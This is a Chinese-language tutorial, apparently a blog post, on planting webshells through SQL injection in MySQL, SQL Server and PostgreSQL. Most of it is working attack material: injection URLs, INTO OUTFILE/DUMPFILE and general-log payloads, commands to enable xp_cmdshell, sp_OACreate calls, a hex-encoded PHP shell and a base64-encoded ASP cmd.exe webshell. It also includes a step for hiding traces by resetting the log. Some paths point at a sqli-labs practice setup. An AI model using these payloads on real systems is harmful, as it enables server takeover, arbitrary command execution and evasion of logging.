一、前置条件
我们想要通过SQL注入写入Webshell需要满足下面条件:
- 数据库账户可执行文件操作函数 :当前连接数据库账户必须具备
File权限或者说有权限执行LOAD_FILE()、INTO OUTFILE、INTO DUMPFILE等文件操作函数 - 目标路径可写:网站服务器上的目标路径必须是可写的,且不能被权限系统限制
- 没有WAF或防护软件:没有强大的WAF和其他安全软件进行拦截
二、MySQL
这里简单说一下secure_file_priv :MySQL 中的一个系统变量,用于限制数据导入和导出的目录。它主要用于控制 LOAD DATA 和 SELECT ... INTO OUTFILE 语句,以及 LOAD_FILE() 函数的文件操作权限,从而提高数据库的安全性。
secure_file_priv的设置选项:
- 空字符串:不做目录限制,即任何目录均可以进行文件操作。
- 指定目录:MySQL 只允许在指定的目录下进行文件操作。目录必须已存在,MySQL 不会自动创建该目录。
- NULL :MySQL 服务器禁止导入与导出功能。
my.ini配置文件:

1-INTO OUTFILE函数
针对MySQL数据库的SQL注入,我们使用INTO OUTFILE语句能够将查询结果导出到一个指定文件。
(1)判断权限
首先,我们需要判断当前数据库用户是否具有FILE权限,进行查询
?id=1' and (select count(*) from mysql.user)>0--+
- 访问
mysql.user表也需要较高的权限(通常只有root或具有全局SELECT权限的用户才能查询)。 - 如果查询成功(条件为真),说明当前连接数据库的用户至少拥有对
mysql.user的读取权限,很可能是一个高权限用户。 - 如果查询失败(报错提示权限不足),则表明当前用户权限较低,无法读取系统表。
如果返回正常,则可初步判断有权限。
(2)获取网站的绝对路径
如果不知道网站的绝对路径,我们是可以尝试利用报错或联合查询来获取的
?id=1' and (select 1 from (select count(*),concat(@@basedir,floor(rand(0)*2))x from information_schema.tables group by x)y)--+
或者尝试猜测一些常见的路径,例如/var/www/html等
(3)构造注入语句
将包含Webshell代码的字符串作为查询结果,然后使用INTO OUTFILE导出到目标路径
?id=1' union select 1,'<?php system($_GET[cmd]);?>',3 INTO OUTFILE 'E:/phpstudy_pro/WWW/sqli-labs-master/sqli-labs-master/shell.php'--+
成功注入

注意:
-
INTO OUTFILE导出时会以行的形式输出,每行末尾都有换行符,且不能覆盖已有文件。为例解决这个问题,通常会结合十六进制编码或LOAD_FILE来绕过 -
为了避免转义和换行问题,Webshell代码通常使用十六进制编码
?id=1' union select 1,2,0x3c3f7068702073797374656d28245f4745545b636d645d293b3f3e into outfile 'E:/phpstudy_pro/WWW/sqli-labs-master/sqli-labs-master/shell1.php'--+
2-dumpfile()函数
如果outfile()函数被禁用,但dumpfile()未被过滤,这是一个替代方案
-
区别 :
outfile()可以将查询结果输出到文件中,支持多行数据。而dumpfile()只能输出单行数据。 -
用法 :将需要写入文件的内容作为查询结果,然后使用
into dumpfile写入,其实大同小异select '<?php system($_POST[cmd]);?>' into dumpfile '/var/www/html/shell.php';
3-利用日志文件
- 将log日志开启
- 设置日志的写入位置
- 写入恶意代码
sql
-- 开启日志
Set global general_log = on;
-- 修改日志路径
Set global general_log_file='/var/www/html/shell.php';
-- 写入Webshell
select '<?php system($_GET["cmd"]);?>';
-- 写入完成后,关闭日志并重置路径,避免留下痕迹
SET GLOBAL general_log=OFF;
SET GLOBAL general_log_file='/path/to/original/log';
三、SQLserver
1-xp_cmdshell
在SQLserver数据库中,xp_cmdshell是一个扩展存储过程,它允许在数据库中执行操作系统的命令。如果它被启用,攻击者就可直接执行命令来写入Webshell
(1)判断xp_cmdshell是否启用
SQL Server 默认支持分号分隔的多语句执行,而xp_cmdshell是禁用的
?id=1';EXEC xp_cmdshell 'whoami'--

如果执行成功,说明已启用。而测试页面回显正常,但是没有执行命令,需要尝试启用它。
(2)启用xp_cmdshell
?id=1';EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE--+
-
EXEC sp_configure 'show advanced options', 1;'show advanced options'是一个配置选项,默认值为0(不显示高级选项)。将其设置为1后,后续就可以查看和修改高级选项(如xp_cmdshell)。
-
RECONFIGURE;:使通过sp_configure修改的配置选项立即生效(某些选项需要重启服务,但大多数动态选项可立即生效)。 -
EXEC sp_configure 'xp_cmdshell', 1;:xp_cmdshell是一个扩展存储过程,允许执行操作系统命令。默认情况下,出于安全考虑,它是禁用的。将xp_cmdshell设置为1即启用该功能。 -
注意:
- 要修改
xp_cmdshell,必须先启用"显示高级选项"(即前两步),否则会报错。 - 启用
xp_cmdshell需要较高权限(通常是sysadmin角色)

- 要修改
执行没有报错,说明开启成功
(3)写入Webshell
使用健壮的asp木马
asp
<%
Dim oShell, oExec, sOutput
Set oShell = Server.CreateObject("WScript.Shell")
Set oExec = oShell.Exec("cmd.exe /c " & Request.QueryString("cmd"))
sOutput = oExec.StdOut.ReadAll()
Response.Write sOutput
Set oExec = Nothing
Set oShell = Nothing
%>
计算其Base64值
powershell
PCUKRGltIG9TaGVsbCwgb0V4ZWMsIHNPdXRwdXQKU2V0IG9TaGVsbCA9IFNlcnZlci5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQpTZXQgb0V4ZWMgPSBvU2hlbGwuRXhlYygiY21kLmV4ZSAvYyAiICYgUmVxdWVzdC5RdWVyeVN0cmluZygiY21kIikpCnNPdXRwdXQgPSBvRXhlYy5TdGRPdXQuUmVhZEFsbCgpClJlc3BvbnNlLldyaXRlIHNPdXRwdXQKU2V0IG9FeGVjID0gTm90aGluZwpTZXQgb1NoZWxsID0gTm90aGluZwolPg==
PowerShell 可以轻松处理包含特殊字符的字符串,且默认编码为 ANSI(适合 ASP)。
?id=1'; EXEC xp_cmdshell 'powershell -Command "[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String(''PCUKRGltIG9TaGVsbCwgb0V4ZWMsIHNPdXRwdXQKU2V0IG9TaGVsbCA9IFNlcnZlci5DcmVhdGVPYmplY3QoIldTY3JpcHQuU2hlbGwiKQpTZXQgb0V4ZWMgPSBvU2hlbGwuRXhlYygiY21kLmV4ZSAvYyAiICYgUmVxdWVzdC5RdWVyeVN0cmluZygiY21kIikpCnNPdXRwdXQgPSBvRXhlYy5TdGRPdXQuUmVhZEFsbCgpClJlc3BvbnNlLldyaXRlIHNPdXRwdXQKU2V0IG9FeGVjID0gTm90aGluZwpTZXQgb1NoZWxsID0gTm90aGluZwolPg=='')) | Set-Content -Path C:\inetpub\wwwroot\shell.asp" --

写入Webshell,查看是否成功,测试是否命令执行

2-sp_OACreate
如果xp_cmdshell被禁用,攻击者还可以利用sp_OACreate。
sp_OACreate 是 Microsoft SQL Server 中的一个系统存储过程,用于创建 OLE(对象链接与嵌入)对象的实例。它允许 SQL Server 与 COM(组件对象模型)组件进行交互,从而扩展数据库的功能,例如操作文件系统、运行系统命令、访问外部应用程序等。
Scripting.FileSystemObject:读写文件、创建目录、复制/删除文件等。WScript.Shell:执行系统命令、运行程序、读写注册表等。ADODB.Connection:连接其他数据库。Shell.Application:操作 Shell 功能。
(1)利用方式
利用sp_OACreat创建个WScript.shell对象,然后通过其Run方法执行命令
;DECLARE @o INT;EXEC sp_OACreate 'WScript.shell',@o Out;EXEC sp_OAMethod @o,'Run',NULL,'cmd.exe /c echo ^<^%eval request("cmd")^%^> > C:\test\wwwroot\shell.asp'--
DECLARE @o INT;:声明一个名为@o的局部变量,数据类型为INT(整数)EXEC sp_OACreate 'WScript.shell', @o Out;:调用系统存储过程sp_OACreate,创建指定 ProgID 的 COM 对象实例。- 第一个参数
'WScript.shell'是 ProgID,代表 Windows Script Host Shell 对象,它允许执行系统命令、操作注册表等。 - 第二个参数
@o Out指定输出参数,将创建的对象句柄存储到变量@o中。注意这里的Out是OUTPUT的缩写,表示该参数用于返回结果。
- 第一个参数
EXEC sp_OAMethod @o, 'Run', NULL, 'cmd.exe /c echo ^<^%eval request("cmd")^%^> > C:\test\wwwroot\shell.asp';:调用sp_OAMethod执行已创建对象的方法。- 第一个参数
@o是之前保存的 COM 对象句柄。 - 第二个参数
'Run'是要调用的方法名,WScript.Shell对象的Run方法用于运行外部程序。 - 第三个参数
NULL是返回值(若有),这里不需要所以设为 NULL。 - 第四个参数是要传递给
Run方法的命令字符串,即实际要执行的系统命令。
- 第一个参数
四、PostgreSQL
PostgreSQL提供了COPY TO命令,用于将表数据导出到文件
-
创建一个临时表,并将WebShell代码插入其中
-
利用COPY TO将数据导出到目标文件
';CREATE TABLE shell(cmd text);INSERT INTO shell VALUES ('<?php eval($_POST[cmd];?>');COPY shell TO '/var/www/html/shell.php'
注意:执行COPY TO 命令需要superuser权限,且目标路径必须为数据库服务器可读写的